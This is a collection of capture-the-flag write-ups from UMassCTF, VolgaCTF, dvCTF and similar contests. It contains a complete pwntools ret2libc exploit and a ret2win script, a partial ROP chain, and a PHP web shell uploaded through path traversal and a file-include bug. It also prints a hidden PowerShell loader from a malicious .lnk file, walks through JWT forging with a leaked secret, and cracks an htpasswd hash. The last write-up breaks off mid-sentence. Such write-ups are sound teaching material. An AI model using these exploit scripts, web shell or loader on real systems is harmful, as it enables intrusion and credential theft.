p64(pop_rdi))arb_write_8(rop_chain_base + 0x68, p64(0x5))arb_write_8(rop_chain_base + 0x70, p64(pop_rsi))arb_write_8(rop_chain_base + 0x78, p64(bss))arb_write_8(rop_chain_base + 0x80, p64(pop_rdx))arb_write_8(rop_chain_base + 0x88, p64(0x100))arb_write_8(rop_chain_base + 0x90, p64(libc.symbols['read'])) arb_write_8(rop_chain_base + 0x98, p64(pop_rdi))arb_write_8(rop_chain_base + 0xa0, p64(0x1))arb_write_8(rop_chain_base + 0xa8, p64(pop_rsi))arb_write_8(rop_chain_base + 0xb0, p64(bss - 0x50))arb_write_8(rop_chain_base + 0xb8, p64(pop_rdx))arb_write_8(rop_chain_base + 0xc0, p64(0x100))arb_write_8(rop_chain_base + 0xc8, p64(libc.symbols['write'])) arb_write_8(rop_chain_base + 0xd0, p64(libc.symbols['exit'])) io.send(b"3") sleep(3) io.send(flag_file+b"\x00") io.interactive()```
# ZipperWe are given a zipper.zip file. The archive contains two files: zipper.jpg and zipper.lnk. Examining the file in hex editor shows that the archive has some data after the end mark: ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-final-writeups/master/pictures/2021-03-26-23-28-53.png) It is: ```$x = [System.Convert]::FromBase64String("<b64string>");$pt = [System.Text.Encoding]::UTF8.GetString($(for ($i=0; $i -lt $x.length; $i++){$x[$i] -bxor $key[$i%$key.length]}))``` However, the key is not present. It can be found inside zipper.lnk, which has the following object string: ```%comspec% /c powershel%LOCALAPPDATA:~-1% -eP bypasS -win Hi'dde'n -c '&{c:\users $v=dir -force -r -in zipper.zip|select -last 1;$key=[System.Text.Encoding]::UTF8.GetBytes("Ae%4@3SDs");$j=gc -LiteralPat $v.fullname;$j[$j.length-1]|iex;iex($pt)}'"``` Now we can extract the data: ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-final-writeups/master/pictures/2021-03-26-23-32-13.png)
# Hermit - Part 1 By [Siorde](https://github.com/Siorde) ## DescriptionHelp henry find a new shell.It is a website where we can upload an image and then display this image.With that we need to get the flag that must be in a file on the host. ## SolutionAfter uploading my first image, i saw that in the URl we use the name of the image to display it in the browser. So i tried to specifie a path to get other files.```http://34.121.84.161:8086/show.php?filename=../index.php```Instead of the image i got the base64 of the index. So my first thougth was that we need to get the flag through this get_content.I tried several path like ../flag, ../../../../flag, ../../../../root/flag.All i got was "no such file or directory", or "acces denied".Willing to see how far we could go, i tried ../../../../etc/passwd, and i got it : ```root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsystemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinsystemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinmessagebus:x:104:106::/nonexistent:/usr/sbin/nologinsshd:x:105:65534::/run/sshd:/usr/sbin/nologinhermit:x:1000:1000::/home/hermit:/bin/sh```I saw a user call "hermit", so i tried his home with ../../../../home/hermit/flag, and i got a "Is a directory". So I knew that the flag was there, but i could not guess the name of the file.After a lot of try, i decided to try another approach.I created a file name shell.png with this content : ```<form action="<?=$_SERVER['REQUEST_URI']?>" method="POST"><input type="text" name="x" value="<?=htmlentities($_POST['x'])?>"><input type="submit" value="cmd"></form>```And i upload it on the server. I got a reverse shell, so from now it was really easy.```ls ../../../home/hermit/flag/-> userflag.txtcat ../../../home/hermit/flag/userflag.txt-> UMASS{a_picture_paints_a_thousand_shells}```And there was the flag.
# Decompilation First let's depcompile our program with ghidra. After deobfuscating we get main: ```clong main(undefined8 param_1,long param_2) { code cVar1; byte bVar2; long in_FS_OFFSET; int offset; ulong target; code *local_28; long stack_cookie; stack_cookie = *(long *)(in_FS_OFFSET + 0x28); puts(*(char **)(param_2 + 8)); target = **(ulong **)(param_2 + 8) & 0xffffffffffff; printf("%lu\n",target); offset = 0; while (offset < 100) { cVar1 = FUN_00301020[offset]; bVar2 = shuffle(&target); *(byte *)(FUN_00301020 + offset) = bVar2 ^ (byte)cVar1; offset = offset + 1; } if (target == 0xfd94e6e84a0a) { puts("looking good"); } local_28 = FUN_00301020; FUN_00301020(); if (stack_cookie != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0;}``` We see that we want our target wariable to be 0xfd94e6e84a0a by the end. We also see that for 100 times shuffle is called on this variable. The return of this function is used to update a function in the program, which is called at the end of main. This will probably print out the flag if the correct argument is supplied. Looking at shuffle reveals ```culong shuffle(ulong *param_1) { *param_1 = *param_1 * 0x5deece66d + 0xb & 0xffffffffffff; return *param_1;}``` This is just a multiplication with 0x5deece66d and adding the result to 0xb. As the result is bitwise and-ed with 0xffffffffffff. # Modulo arithmetic The above problem is equvivalent to reversing multiplication and addition on modulo 0x1000000000000. Reversing these on modulo arithmetic requires the inverse of both these. Reversing addition of 0xb is equvivalent to adding 0x1000000000000 - 0xb + 1. For reversing multiplication we need to find the multiplicative inverse of 0x5deece66d on 0x1000000000000. In this case we can use online tools to find that this is 246154705703781. # Reversing We can write a simple program on these principles to reverse this process: ```cpp#include <iostream> const ulong addition_inv = 0xffffffffffff - 0xb + 1;const ulong mult_inv = 246154705703781; void rev_mod(ulong& var){ var = var + addition_inv & 0xffffffffffff; var = var * mult_inv & 0xffffffffffff;} int main(){ ulong target = 0xfd94e6e84a0a; size_t i = 0; while(i<100){ rev_mod(target); i++; } ulong res = target; printf("0x%lx\n",target); return 0;}``` Running this gives us the result 0x483d34347a46. We can see that this needs to be passed as a string argument, which is then interpreted as a ulong. Writing out the bytes in little endian format we get: 46 7a 34 34 3d 48 00 00 -> Fz44=H . Passing this as an argument produces our flag: UDCTF{wh4t_c4n_I_say_luv_crypt0}
# Heim - UMassCTF '21Only those who BEARER a token may enter! A web exploitation category challenge on intercepting and forging JSON Web Tokens from a debugging endpoint to bypass Bearer authentication. ## The Heim - Upon navigating to the given URL, we're met with a login form which asks the user for a "name", claiming that "only those who BEARER a token may enter". ![https://i.imgur.com/96m81yH.png](https://i.imgur.com/96m81yH.png) - After entering a name and hitting "Enter", we are then redirected to the `/auth/authorised` page containing our access token: ![https://i.imgur.com/s2PtrcI.png](https://i.imgur.com/s2PtrcI.png) - This likely suggests that we're dealing with some type of bearer token authentication. Bearer tokens allow requests to authenticate by using a cryptic string generated and encrypted by the server, such as a JSON Web Token, which looks something akin to this: ![https://i.imgur.com/IVE3srk.png](https://i.imgur.com/IVE3srk.png) - This token is then included in the HTTP header, in the format of: ```html Authorization: Bearer <JWT> ``` ## Intercepting requests with Burp Suite - Let's intercept the outbound POST request made to `/auth` with Burp Suite's proxy feature, and forward the request to the repeater with `Ctrl-R` to try and figure out what is happening behind the scenes: ![https://i.imgur.com/EZ3LsiC.png](https://i.imgur.com/EZ3LsiC.png) - We see that the browser first makes a POST request to `/auth` with the form data, and is then redirected to the URL: `/auth?access_token=<JWT>&jwt_secret_key=arottenbranchwillbefoundineverytree` - Leaked at the end of the redirect URL is the `jwt_secret_key`, which is used for encrypting the JSON Web Tokens: `arottenbranchwillbefoundineverytree` - While looking for more API endpoints on the website by trying related keywords, we stumbled upon `/heim`, which returned: ```json { "msg": "Missing Authorization Header" } ``` - This means that the web server is expecting a Bearer token in the HTTP header, so let's add that to our request in Burp Suite's repeater: ![https://i.imgur.com/HR6kSKQ.png](https://i.imgur.com/HR6kSKQ.png) - We received a massive message encoded in base64, decoding it gives: `$ echo "ewogICAgIm...AgIH0KfQ==" | base64 -d` ```json { "api": { "v1": { "/auth": { "get": { "summary": "Debugging method for authorization post", "security": "None", "parameters": { "access_token": { "required": true, "description": "Access token from recently authorized Viking", "in": "path", }, "jwt_secret_key": { "required": false, "description": "Debugging - should be removed in prod Heim", "in": "path" } } }, "post": { "summary": "Authorize yourself as a Viking", "security": "None", "parameters": { "username": { "required": true, "description": "Your Viking name", "in": "body", "content": "multipart/x-www-form-urlencoded" } } } }, "/heim": { "get": { "summary": "List the endpoints available to named Vikings", "security": "BearerAuth" } }, "/flag": { "get": { "summary": "Retrieve the flag", "security": "BearerAuth" } } } } } ``` - Nice! We have obtained a list of all available endpoints and now know the flag is located at `/flag`, and that the GET method for `/auth` was originally meant to be a debugging endpoint, explaining why `jwt_secret_key` was leaked in the redirect URL.- Making a GET request to `/flag` with our Bearer token returns: ```json { "msg": "You are not worthy. Only the AllFather Odin may view the flag" } ``` - Seems like only Odin is worthy enough to view the flag! Also, trying to submit "odin" as the name in the login form returns: ```json { "error": "You are not wise enough to be Odin" } ``` - Though, since we can obtain a sample access token and are in possession of the secret key, we can forge our own tokens to authenticate as the Odin user. ## Forging Odin's token - Using [CyberChef](https://gchq.github.io/CyberChef/) tool, we can easily read the payload of our own JWT string with the "JWT decode" function: ![https://i.imgur.com/gRvcmbl.png](https://i.imgur.com/gRvcmbl.png) - We see that the JWT payload contains the following data: ```json { "fresh": false, "iat": 1617017482, "jti": "380b9f5c-fb31-479e-a189-59e2c8040453", "nbf": 1617017482, "type": "access", "sub": "samiko", "exp": 1617018382 } ``` - Of all variables, `sub` (subject) and `exp` (expiration time) are the ones that appear most interesting to us, since we want to forge a token for Odin (that never expires!), so let's modify the payload to the following: ```json { "fresh": false, "iat": 1617017482, "jti": "380b9f5c-fb31-479e-a189-59e2c8040453", "nbf": 1617017482, "type": "access", "sub": "odin", "exp": 9999999999 } ``` - Using the "JWT Sign" function with the leaked `jwt_secret_key` and HS256 as parameters, we get the token: ![https://i.imgur.com/AEjoHH4.png](https://i.imgur.com/AEjoHH4.png) - Using the forged token in the HTTP header as a Bearer token, we make a GET request to `/flag`: ![https://i.imgur.com/Tq2jaX7.png](https://i.imgur.com/Tq2jaX7.png) - Voila! We got the flag: ```json UMASS{liveheim_laughheim_loveheim} ``` ## Resources 1. [https://swagger.io/docs/specification/authentication/bearer-authentication/](https://swagger.io/docs/specification/authentication/bearer-authentication/)2. [https://research.securitum.com/jwt-json-web-token-security/](https://research.securitum.com/jwt-json-web-token-security/)3. [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
Honestly? Go view the GitHub URL instead of looking here. ## Notes (notes) ### Description - notes Solved By: [OreoByte](https://github.com/OreoByte) Author: [goproslowyo](https://github.com/goproslowyo) We're given a memory dump to analyze. Inside we find a base64 encoded string on the users clipboard containing the flag. ### Process - notes 1. Downloaded `image.mem` for the challenge. ```shell root@ip-10-10-162-135:~/repos# curl -LO http://static.ctf.umasscybersec.org/forensics/13096721-bb26-4b79-956f-3f0cddebd49b/image.mem ``` 1. Analyze the memory dump: - Using the `imageinfo` command can help to identify the correct profile to use later with the `--profile=[profile]` argument. From the output it seems like it's a `Windows 7 Service Pack 1` memory dump. - We can get the same results without the `grep -vi 'fail'` (we we're removing some error out from python modules with that). ```shell root@ip-10-10-162-135:~/repos# vol.py -f image.mem imageinfo | grep -vi 'fail' Volatility Foundation Volatility Framework 2.6.1 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/root/repos/image.mem) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002a3b0a0L Number of Processors : 6 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002a3cd00L KPCR for CPU 1 : 0xfffff880009f1000L KPCR for CPU 2 : 0xfffff88002ea9000L KPCR for CPU 3 : 0xfffff88002f1f000L KPCR for CPU 4 : 0xfffff88002f95000L KPCR for CPU 5 : 0xfffff88002fcb000L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2021-03-20 18:16:12 UTC+0000 Image local date and time : 2021-03-20 13:16:12 -0500 ``` 1. Hidden in the users clipboard memory dump we find a base64 encoded string. ```shell root@ip-10-10-162-135:~/repos# vol.py -f image.mem --profile=Win7SP1x64 clipboard Volatility Foundation Volatility Framework 2.6.1 Session WindowStation Format Handle Object Data ---------- ------------- ------------------ ------------------ ------------------ -------------------------------------------------- 1 WinSta0 CF_UNICODETEXT 0x5a00b5 0xfffff900c26aeb60 VU1BU1N7JDNDVVIzXyQ3MFJhZzN9Cg== 1 WinSta0 CF_TEXT 0x64006e00000010 ------------------ 1 WinSta0 0x13c01b7L 0x0 ------------------ 1 WinSta0 CF_TEXT 0x1 ------------------ 1 ------------- ------------------ 0x13c01b7 0xfffff900c06fa270 ``` 1. Decode the string: ```shell root@ip-10-10-162-135:~/repos# echo VU1BU1N7JDNDVVIzXyQ3MFJhZzN9Cg== | base64 -d UMASS{$3CUR3_$70Rag3} ``` ### Screen Grabs - notes #### Analyzing the Memory Dump - notes ![mem dump analysis](./assets/notes/analyze.png) #### Dumping the Memory Contents - notes ![mem dump contents](./assets/notes/dump.png) #### Decoding the Flag - notes ![flag decoding](./assets/notes/flag.png) ### Tools Used - notes 1. [Volatility v2.6](https://github.com/volatilityfoundation/volatility/tree/2.6)
# [Writeup] VolgaCTF 2021 Qualifier — Online Wallet (part 1) (Web 129 pt) Withdraw money from your account This is an online wallet. There is a function to create and transfer funds between accounts.To be flagged, more than 150 or negative funds must be withdrawn from the account. ![image](https://user-images.githubusercontent.com/81301788/112891885-dd147680-9102-11eb-8027-04b5b46a1753.png) 1 create wallet ![image](https://user-images.githubusercontent.com/81301788/112892183-341a4b80-9103-11eb-8ab0-ea6b5eb8f0ff.png) 2 Transfer token from Default Wallet to lnwza 99.98789745489548949849848974849841889494984984848498498419849849849484849494949849498494984985415418694865941895641851861896194189548941894198418941841984984984948484949494984949849498498541541869486594189564185186189619418954894189419841894184 ![image](https://user-images.githubusercontent.com/81301788/112892008-0208e980-9103-11eb-8d81-f8ada57fe581.png) 3 Transfer from Default wallet to another 0.012102545104525575 ![image](https://user-images.githubusercontent.com/81301788/112892284-544a0a80-9103-11eb-86d7-2f33df080311.png) 4 press withdraw ![image](https://user-images.githubusercontent.com/81301788/112892438-82c7e580-9103-11eb-95dc-eb71c2ae5d9e.png) VolgaCTF{3723759ca308887d334afe8074ec9c23} Node JSON.parse(‘{“amount”:100000000000000000000000000000000000000000000000000000000000001E-60}’).amount 100 MySQL select json_extract(‘{“amount”:100000000000000000000000000000000000000000000000000000000000001E-60}’, ‘$.amount’); 100.00000000000001 Due to different roundings in parsing, it was possible to take the balance into minus (Round-off error)
# malware - UMassCTF 2021The first crypto challenge of UMassCTF 2021 was "malware", where we were given a zip archive containing `malware.py` and `files.zip`, which when decompressed yielded `malware.py.enc`, `CTF-favicon.png.enc`, `shopping_list.txt.enc`, and `flag.txt.enc`. The contents of `malware.py` were```pythonfrom Crypto.Cipher import AESfrom Crypto.Util import Counterimport binasciiimport os key = os.urandom(16)iv = int(binascii.hexlify(os.urandom(16)), 16) for file_name in os.listdir(): data = open(file_name, 'rb').read() cipher = AES.new(key, AES.MODE_CTR, counter = Counter.new(128, initial_value=iv)) enc = open(file_name + '.enc', 'wb') enc.write(cipher.encrypt(data)) iv += 1```where it can be seen that each of the `*.enc` files are AES encrypted with CTR mode. For the ciphertext `malware.py.enc`, we have the known plaintext `malware.py`, so the type of this attack will be a known-plaintext attack.## AES encryption with CTR modeA good place to start learning about the cipher is in the documentation of the cryptography library you're using. In this case, it's the `pycryptodome` Python package. [The documentation describes the operation of the CTR mode as the exclusive-or of the plaintext with a keystream to obtain the ciphertext. The keystream itself is an AES encrypted sequence of counter blocks in ECB mode.](https://pycryptodome.readthedocs.io/en/latest/src/cipher/classic.html#ctr-mode) ![Block diagram of CTR mode](https://upload.wikimedia.org/wikipedia/commons/4/4d/CTR_encryption_2.svg) Since we have one known plaintext-ciphertext pair, we can recover the keystream used to encrypt that pair by taking the exclusive-or of the plaintext and the ciphertext\\[P\oplus C=P\oplus(P\oplus K)=K\\]and if the same keystream was used to encrypt the other files, then we can take the exclusive-or of the ciphertext and the keystream to recover the plaintext\\[C\oplus K=(P \oplus K)\oplus K=P\\]of those other files, thus completing our known-plaintext attack. However, we require keystream reuse across files, and that necessitates a closer inspection of how the keystream is constructed. The keystream is an AES encryption in [ECB mode](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_(ECB)) of the counter blocks, and requires the encryption key, an initial counter value, and any additional random nonces to be appended or prepended to the counter as parameters. The counter block sequence is in the form ![Construction of counter block sequence](https://pycryptodome.readthedocs.io/en/latest/_images/counter_be.png) and the program initializes the sequence using```pythoncounter = Counter.new(128, initial_value=iv)```[The documentation reveals that this initialization results in no random prefix or suffix nonce value for the counter block. In this case each counter block in the sequence consists entirely of the counter value.](https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#crypto-util-counter-module)```pythonkey = os.urandom(16)iv = int(binascii.hexlify(os.urandom(16)), 16)for file_name in os.listdir(): # Encrypt file iv += 1```Since the same encryption key is used for all files and the initial counter value is incremented by one for each file, this means the same keystream is used for all files, except it is left-shifted by one block (16 bytes) for each file. This makes our [known-plaintext keystream-reuse attack](https://crypto.stackexchange.com/a/35225) possible.## DecryptionThe Python Standard Library documentation notes that `os.listdir()` [returns the files in arbitrary order](https://docs.python.org/3/library/os.html#os.listdir) so we do not know in what order the files were encrypted. Therefore we must recover the shift of the keystream for each file relative to the `malware.py`-`malware.py.enc` plaintext-ciphertext pair. Through trial and error of different 16-byte block shifts and inspection of the results for expected data we end up with the keystream shifts in blocks | Encrypted File | Shift (+L/+IV) || -------- | -------- || CTF-favicon.png.enc | -1 || malware.py.enc | 0 || shopping_list.txt.enc | 1 || flag.txt.enc | 2 | and thus are able to decode the flag `UMASS{m4lw4re_st1ll_n33ds_g00d_c4ypt0}` in `flag.txt.enc` using\\[C\oplus (K\ll 32\text{B})=(P \oplus (K\ll 32\text{B}))\oplus (K\ll 32\text{B})=P\\]as well as the other files using their respective keystream shifts. It also should be noted that the plaintext of `CTF-favicon.png.enc` which was not provided in the zip archive could be obtained from the favicon of the UMassCTF 2021 website, but it was not necessary to obtain more plaintext in this case.## Detailed solution code and work```pythonimport osimport binasciifrom Crypto.Cipher import AESfrom Crypto.Util import Counterfrom Crypto.Util import strxor # Proof of concept:# When initial value is incremented for ciphertext 2, shift keystream backward one block.# That is, the second keystream is just the first one left shifted by one block (16 bytes).key = os.urandom(16)iv = int(binascii.hexlify(os.urandom(16)), 16)plain1 = bytes('the quick brown fox jumped over the lazy dog', 'ascii')plain2 = bytes('dog lazy the over jumped fox brown quick the', 'ascii')aes1 = AES.new(key, AES.MODE_CTR, counter=Counter.new(128, initial_value=iv))aes2 = AES.new(key, AES.MODE_CTR, counter=Counter.new(128, initial_value=iv+1))cipher1 = aes1.encrypt(plain1)cipher2 = aes2.encrypt(plain2)[:]keystream1 = strxor.strxor(cipher1, plain1)[16:]keystream2 = strxor.strxor(cipher2, plain2) # Keystream recovery:# Recover the keystream from the malware.malware_plain = open('malware.py', 'rb').read()malware_cipher = open('files/malware.py.enc', 'rb').read()malware_keystream = strxor.strxor(malware_cipher, malware_plain) # Shift keystream on files:icon_keystream = malware_keystream[:]icon_cipher = open('files/CTF-favicon.png.enc', 'rb').read()[16:][:len(icon_keystream)]icon_plain = strxor.strxor(icon_cipher, icon_keystream)# I had to shift the keystream forwards by one block to decode the icon ciphertext.# The decoding was confirmed by the sighting of the "iCCP" chunk of the PNG specification# "iCCPICC Profile\x00\x00" which means there is a zlib-compressed embedded ICC profile.# Since keystream was shifted forwards by one block, the iv is decremented from the malware.# So, os.listdir() had returned "CTF-favicon.png" immediately before "malware.py".# Now trying the shopping list:shopping_cipher = open('files/shopping_list.txt.enc', 'rb').read()shopping_keystream = malware_keystream[16:][:len(shopping_cipher)]shopping_plain = strxor.strxor(shopping_cipher, shopping_keystream)# I had to shift the keystream backwards by one block to decode the shopping ciphertext.# The decoding was confirmed by seeing the list contents are "Soul's Shopping List".# This means the iv is incremented from the malware.# So, the flag must be either iv+2 or iv-2 from the malware.flag_cipher = open('files/flag.txt.enc', 'rb').read()flag_keystream = malware_keystream[32:][:len(flag_cipher)]flag_plain = strxor.strxor(flag_cipher, flag_keystream)# The flag is found (iv+2 from the malware).print(flag_plain.decode('ascii'))```
# Rock paper scissorsThe program itself is straightforward. The user gets asked if they want to play rock, paper, scissors. The user can answer with y or n. If the user chooses to play, the program presents the user with 3 options: rock, paper or scissors. They can be selected through putting a number in for which option they'd like to choose. Next, the program will tell the user whether they lost or won, presumably based on a randomized guess from the computer and a simple logic check. Regardless, the user will be presented with the option to play again. This time, the user can fill in more than a character, namely "yes" or "no". If the user puts in "yes", the game starts again. If the user puts in anything else, the program exits. ![The game](https://i.imgur.com/kW5fPhh.png) ## Preliminary analysisI started by running checksec on the binary. RELRO and NX were enabled, but stack canaries and PIE were not. This lead me to think that the vulnerability was a stack overflow one. The binary also came with a libc file, so the stack overflow would probably have to be chained with a libc memory address leak, forming a ret2libc exploit. ## The vulnerabilityOpening the binary in Ghidra, we can see that the function containing the game loop gets the selected option from the user through a call to scanf(), meaning that at this time, this call is not vulnerable to any buffer overflows, since the format string only accepts integers. Unfortunately, this is the only function call that stores its input on the stack. Later on, the game asks whether the user wants to play again or not. This is done through a call to read(), which takes 0x19 bytes and stores it in a global variable in the .data section, meaning that it can not cause a stack buffer overflow. We will call the variable playAgainAnswer. The read() call's destination might have other things it can override that might be interesting to the attacker, though. ![GameLoop decompilation](https://i.imgur.com/yC5aZ35.png) The playAgainAnswer variable is located right before the pointer that points to the format string used in the scanf() call that gets the user's choice. The attacker can put in 0x19 bytes, which is just enough to overflow the least significant byte of the format string pointer. If there is a format string in memory that takes strings instead of integers, the pointer can be overwritten to use that instead. Right before the "%d" format string, there is in fact a "%s" string. ![Format strings in memory](https://i.imgur.com/ifipuRG.png) One issue with this vulnerability is that the game loop needs to be run again after corrupting the format string pointer, but the playAgainAnswer needs to be "yes\n" in order for that to happen, which is not the case if we feed it the overflow payload. The function that is used to compare the strings is strcmp(), which stops comparing when the null byte is hit on both strings. One trick to bypass this is through null-byte poisoning. This means that the payload starts with "yes\n", followed by a null byte, which is followed by the payload. ## Crafting the exploitAfter sending the payload, the user will again be presented with the prompt to select an option, only this time it can send whatever data it wants. The attacker can now overflow the buffer on the stack and gain control of the instruction pointer. Since there is no code that can be used to get a shell in the binary itself, I needed to craft a ret2libc exploit. The first step is leaking the base address of libc. I started by building a payload that executes the puts() function, with the GOT address of puts as its argument, followed by a call to main(), which will effectively start the program from the beginning, allowing us to perform a second buffer overflow that gets us the shell. The libc file provided by the challenge can be used to get the proper offsets of the symbols to calculate the base address and the addresses of "/bin/sh" and system(). This worked locally, but not remotely for some reason. This was because the stack was not 16-bytes alligned. This was solved with a simple call to ret before executing the shell payload. ```pythonfrom pwn import * elf = context.binary = ELF("rps")libc = ELF("./libc-2.31.so") gs = '''break *0x401452continue''' def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) else: return process(elf.path) def set_scanf_d_to_s(p): payload = b"yes\n\x00" + b"A"*0x13 + b"\x08" time.sleep(0.2) p.sendline(b"y") time.sleep(0.2) p.sendline(b"1") time.sleep(0.2) p.sendline(payload) # rop gadgetspoprdi = p64(0x401513)putsgot = p64(0x403f98)putsplt = p64(0x401100)ret = p64(0x40101a) main_addr = p64(0x401453) leak_base_payload = b"A"*0x14 + poprdi + putsgot + putsplt + main_addr p = start() set_scanf_d_to_s(p) time.sleep(0.2)p.sendline(leak_base_payload) time.sleep(0.2)p.recvuntil(b"Would you like to play again? [yes/no]: ")p.sendline(b"no") # get leaked puts address from outputleak = p.recvuntil(b"How")leak_offset = leak.find(b"]:") + 3address = leak[leak_offset:-4]puts_address = int.from_bytes(address, byteorder='little') libc.address = puts_address - libc.symbols["puts"]binsh = next(libc.search(b"/bin/sh"))system = libc.sym["system"] shell_payload = b"A"*0x14 + ret + poprdi + p64(binsh) + p64(system) set_scanf_d_to_s(p) time.sleep(0.2)p.sendline(shell_payload) time.sleep(0.2)p.recvuntil(b"Would you like to play again? [yes/no]: ")p.sendline(b"no") p.interactive()```
Full video can be found at [https://www.youtube.com/watch?v=NaWurMWUlvc](https://www.youtube.com/watch?v=NaWurMWUlvc) (~ 4mins). #### Find the vulnerability as black-boxNotice `show.php?filename=<something>` just dumps the content of file as base64 as the image source. #### Exploit it to download the backend source codeDownload the backend source code for files: `../show.php`, `../index.php` and `../upload.php` by providing the filename as the GET parameter via `show.php` and base64 decoding. #### Find vulnerability as white-box using source codeNotice `@include` inside `show.php`, which means we can execute any upload php file irrespective of the file extension. So create a simple PHP page which take a text field as input, execute `system` command on the server side and returns the output. #### Exploit it to gain shell access on the server.Save your php exploit script as `.jpg` and upload it on the server. Now, we have the access to the server and can simply navigate. #### Find the flagThe flag can be found easily under home directory now.
## SolutionThe provided image contains notes on the [bass clef](https://en.wikipedia.org/wiki/Clef), all within a single [octave](https://en.wikipedia.org/wiki/Octave). An octave is composed of 12 [semitones](https://en.wikipedia.org/wiki/Semitone), suggesting that the values can be decoded as base12. The following table provides the conversion from semitone to value: | Note | Value || ---- | ----- || C3 | 0 || C#3 | 1 || D3 | 2 || D#3 | 3 || E3 | 4 || F3 | 5 || F#3 | 6 || G3 | 7 || G#3 | 8 || A3 | 9 || A#3 | 10 || B3 | 11 | Reading the notes results in the pairs: G3C3 | G#3G#3 | G#3F3 | D3G#3 | F3A#3 | A3C3 | G#3C#3 | G#3G | D3G#3 | G#3A3 | A3G3 | D3G#3 | D3A#3 | G#3F#3 | A3C3 | G#3C#3 | G#3G3 | A#3D#3 | F#3F3 | A3A3 | A3G3 | G#3A3 | G#3D#3 | F#3C#3 | A3G3 | F3F3 | A3B3 | G#3F3 | A3G3 | A3D#3 | A3C#3 | G#3F3 | A#3F3 | D3A#3 Converting from base12 to base10, the first set becomes: ![](https://chart.googleapis.com/chart?cht=tx&chl=(7%20*%2012)%20%2B%20(0%20*%201)%20%3D%2084) `84` is the ASCII character `T`. Continue this conversion for the remaining pairs of notes to get the integers `84, 104, 101, 32, 70, 108, 97, 103, 32, 105, 115, 32, 34, 102, 108, 97, 103, 123, 77, 117, 115, 105, 99, 73, 115, 65, 119, 101, 115, 111, 109, 101, 125, 34` which, in ASCII, is ```The Flag is "flag{MusicIsAwesome}"``` ## Flag**flag{MusicIsAwesome}**
The given binary asks for mail address and a message, and always reply with "Our security team will reply as soon as possible.". While looking at the output of ```strings```, I found this interesting string: cat ./flagAfter that, I examined the security features of the binary using ```checksec``````$ checksec kanagawa Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)``` Because of the lack of PIE and stack canary, and a buffer overflow vulnerability in the mail input (found by viewing the disassembly),It is possible to reach the system("cat ./flag") using ROP.The call to cat the flag appears in a function named "recovery_mode", so I just need to overwrite eip with the address of this function.Here is the exploit script using pwntools: ```from pwn import * context.arch = 'i386'context.log_level = 'debug' elf = ELF('kanagawa') if not args.REMOTE: p = elf.process()else: host, port = 'challs.dvc.tf', 4444 p = remote(host, port) recovery_mode = elf.symbols['recovery_mode'] # executes system("cat ./flag") offset = 40 # determined by lowest segfaultpadding = b'A' * offset payload = paddingpayload += p32(recovery_mode) p.sendlineafter("Email: ", payload) flag = p.recvline()log.success(f"Flag: {flag.decode().strip()}")``` Run with:```$ python3 solution.py REMOTE``` The flag is spitted out!dvCTF{0v3rfl0w_tsun4m1}
The directory is protected, we have a look at the `.htpasswd` file ([http://167.71.246.232/.htpasswd](http://167.71.246.232/.htpasswd)): ```admin:$apr1$1U8G15kK$tr9xPqBn68moYoH4atbg20``` Running [John](https://www.openwall.com/john/) with a wordlist takes a long time without any result. However, using default option gives us the password: ```$ john htpasswdWarning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"Use the "--format=md5crypt-long" option to force loading these as that type insteadUsing default input encoding: UTF-8Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])Will run 4 OpenMP threadsProceeding with single, rules:SinglePress 'q' or Ctrl-C to abort, almost any other key for statusWarning: Only 22 candidates buffered for the current salt, minimum 48 needed for performance.Warning: Only 32 candidates buffered for the current salt, minimum 48 needed for performance.Warning: Only 41 candidates buffered for the current salt, minimum 48 needed for performance.Almost done: Processing the remaining buffered candidate passwords, if any.Warning: Only 23 candidates buffered for the current salt, minimum 48 needed for performance.Proceeding with wordlist:/usr/share/john/password.lst, rules:WordlistProceeding with incremental:ASCIIalesh16 (admin)1g 0:00:00:28 DONE 3/3 (2021-02-19 22:52) 0.03551g/s 36861p/s 36861c/s 36861C/s analete..alemeisUse the "--show" option to display all of the cracked passwords reliablySession completed``` The 